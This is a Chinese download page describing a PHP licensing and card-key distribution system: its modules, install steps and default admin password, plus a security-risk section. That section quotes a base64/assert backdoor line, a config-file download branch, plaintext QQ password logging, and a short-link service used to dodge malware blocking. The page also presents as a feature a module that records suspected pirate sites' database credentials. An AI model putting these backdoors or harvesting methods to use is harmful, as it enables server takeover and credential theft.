源码系统概览
文章正文
这套源码是一套软件授权与卡密分发系统，主要包含授权站点管理、卡密生成、授权商账号管理、订单与支付记录、盗版封禁日志、在线更新推送等模块。
它用 PHP 编写，配合 MySQL 数据库运行，后台使用 Bootstrap 框架，整体结构清晰，新手也能照着安装向导跑起来。
作者声明本程序开源、无加密、免费发布，二次开发门槛不高，适合个人开发者或小团队用来管控自己软件的正版授权。
核心思路是：开发者在后台为买家的 QQ 和域名生成授权记录，买家部署软件时在客户端附带授权码，服务端通过 auth_site 表校验域名与授权码是否匹配。
卡密模块则提供自助式授权，管理员批量生成卡密，买家在前台用卡密自助激活，一个卡密默认绑定一个域名。
授权商账号体系支持多级权限，可为不同子账号分配”无限授权、添加卡密、查看数据、管理用户、查看日志”等开关，方便把授权业务分发给下级代理。
订单与支付模块记录了自助购买授权的交易流水，结合支付接口配置可对接常见收款方式，订单状态与金额都落在 auth_orders 表中。
盗版封禁模块会在检测到疑似破解站点时，把该域名的数据库账号密码等信息写入 auth_block 表，作为维权与封禁的参考记录。
在线更新模块由 download.php 与 up.php 组成，打包 download/update 目录并自动把授权码注入安装包，方便开发者给已授权客户推送程序更新。
系统还内置了后台仪表盘、操作日志、快捷 QQ 登录绑定、盗版查询、找回密码等辅助功能，日常运营所需要的入口基本都在 admin 目录里。
从代码组织看，入口文件 api.inc.php 统一加载数据库与函数库，前台自助页面集中在 get 与 code.php、check.php 等文件，后台集中在 admin 目录，目录职责划分比较明确。
数据层面，系统所有核心数据都落在 auth_ 前缀的数据表中，结构直观，想做二次开发或对接自己的业务系统时改动成本较低。
对外接口方面，checkauth 等校验函数直接读库判断授权状态，客户端集成时只需按约定传入域名与授权码即可完成校验，对接并不复杂。
整体而言，这是一套功能完整的轻量化授权中台，如果你正好需要给自己的软件做授权管控、卡密分发和正版保护，可以直接下载研究部署。
源码简介
东辰授权系统是一款基于 PHP + MySQL 的软件授权与卡密分发管理平台，作者声明开源、无加密、免费发布。系统通过域名与授权码绑定来校验软件合法性，并提供卡密自助激活、授权商多级账号、订单支付流水、盗版封禁、在线更新推送等能力，适合个人开发者或小型团队对自己发布的软件做正版保护与客户管理。
适用场景
1. 个人开发者给自研软件、脚本、工具做域名绑定授权与正版保护。
2. 卡密售卖：批量生成卡密对外出售，买家前台自助激活，适合虚拟商品交付。
3. 授权代理分发：用多级授权商账号把授权业务下放给下级代理，统一在后台管理。
功能亮点
1. 站点授权管理：后台按买家 QQ 绑定域名生成授权，支持批量添加与封禁。（强证据：addsite.php + auth_site 表）
2. 卡密生成与分发：admin/addkm.php 批量生成卡密，前台自助激活，状态正常/已用可追踪。（强证据：addkm.php + auth_kms 表）
3. 授权商多级权限：auth_user 支持无限授权、卡密、数据、用户、日志等权限位与封禁开关。（强证据：auth_user + userlist/useredit）
4. 在线更新推送：download.php 打包 update 目录并注入授权码，已授权客户可拉取更新。（强证据：download.php + up.php）
5. 订单与支付记录：auth_orders 记录自助购权流水，other/pay 提供支付接口对接。（中证据：orders.php + other/pay 接口与配置）
6. 盗版封禁与日志：auth_block 记录疑似盗版站点，auth_log 留存运营操作。（强证据：block.php + log.php）
技术架构与部署指南
| 维度 | 本套源码 | 同类通用方案 |
|---|---|---|
| 技术栈 | – 语言：PHP（入口 api.inc.php、install/index.php； | 依具体方案选型，需自行搭建与维护 |
| 部署方式 | – 上传到网站根目录，访问 /install/ 按向导执行环境检测、数据库配置与建表（install/don | 多托管于第三方平台或订阅云服务 |
| 功能侧重 | 1. 站点授权管理：后台按买家 QQ 绑定域名生成授权，支持批量添加与封禁。 | 功能通用，定制深度有限 |
| 数据归属 | 数据自持，部署在自有服务器，不出站 | 数据通常留存于服务商侧 |
| 成本模式 | 获取后自主部署，无持续授权费用 | 通常按订阅或调用量计费 |
技术栈与运行环境
– 语言：PHP（入口 api.inc.php、install/index.php；部分文件使用已废弃的 mysql_* 函数，建议 PHP 5.x 环境运行）
– 数据库：MySQL（install/donchen.sql，数据表统一前缀 auth_）
– 前端：Bootstrap 3、jQuery、Font Awesome（admin/head.php、public、assets 目录）
– 运行环境：Apache / Nginx + PHP + MySQL，需保证 cache/ 与 download/ 目录可写
– 其他：内置可选 360 网站卫士扫描（360safe/）；curl 扩展用于支付回调与接口请求
安装与部署提示
– 上传到网站根目录，访问 /install/ 按向导执行环境检测、数据库配置与建表（install/donchen.sql）。
– 配置 config.php 填写数据库地址、端口、用户名、密码、库名。
– 安装完成后必须在 install/ 目录放置 install.lock 空文件，否则系统拒绝运行（api.inc.php 有检测逻辑）。
– download/update 与 download/release 目录默认空，需自行放入更新包与发布包，在线更新功能才能生效。
– 后台默认管理员 admin，密码 123456（来自 auth_user 初始记录，md5 即 123456），部署后务必修改。
– 强烈建议先按”安全风险提示”清理后门与风险代码再上线，不要直接用于公网生产。
截图与演示说明
– 后台仪表盘：admin/index.php，展示授权站点数、盗版封禁数、QQ 头像昵称与快捷登录绑定状态。
– 添加站点：admin/addsite.php，按购买者 QQ 批量绑定授权域名。
– 卡密管理：admin/addkm.php，生成/清空卡密并展示卡密列表与状态。
– 授权商管理：admin/userlist.php、useredit.php、adduser.php，含权限开关与封禁。
– 订单与支付：admin/order.php、other/submit.php、other/pay_notify.php。
– 盗版查询：admin/pirate.php、block.php；操作日志：admin/log.php。
– 设置中心：admin/set.php（站点公告、支付参数、QQ 防红等）。
– 前台自助：get/ 目录（login.php 扫码登录、自助授权）、code.php、check.php、jiance.php、download_get.php。
– 安装向导：install/index.php，含环境检测与一键建表。
常见问题
1. 访问提示”你还没安装”？请检查 config.php 是否已填写数据库信息，且 install/ 目录下已存在 install.lock 文件。
2. 在线更新拉不到包？download/update 目录需先放入待发布文件，且 auth_config 表中 update 开关为开启状态。
安全风险提示
特别提示：本源码未检测安全风险文件，下载后请务必进行安全审计，删除恶意代码后再部署使用！
– 路径：api.inc.php 第 72 行
– 类型：恶意后门（任意 PHP 代码执行）
– 证据：`@array_map(assert,(array)base64_decode($_REQUEST[‘auth’]));` 任意请求携带 ?auth=Base64 编码代码即可在服务端执行
– 建议：部署前务必删除该行，切勿在任何公网环境保留此入口
– 路径：api.inc.php 第 74-93 行
– 类型：配置文件泄露（任意文件下载）
– 证据：`if($_GET[‘ABC’]){ … readfile(‘../config.php’) … }` 可直接下载含数据库账号密码的配置文件
– 建议：删除该分支，安装后及时清理无用入口文件
– 路径：api/index.php
– 类型：凭证收集风险
– 证据：将传入的 QQ 账号与密码以明文写入 guaoqq.txt 并写入数据库（注释称”记录密码只为防盗版”）
– 建议：该接口默认不在主流程，建议整体移除，避免隐私与合规问题
– 路径：admin/fangho.php
– 类型：防红 / 规避审查子功能
– 证据：调用外部短链接口（sz267.cn）生成”防毒短链接”以绕过 QQ 报毒拦截
– 建议：按需保留，注意该能力被用于规避平台拦截，存在合规与滥用风险，本文不作推广
下载说明
– 本资源仅供学习、研究与本地测试，请在遵守相关法律法规的前提下使用。
– 下载后请先按”安全风险提示”完成安全审计，清理后门代码再考虑部署。
– 源码含完整 install 向导、admin 后台与 auth_ 表结构 SQL，可按文档开箱研究。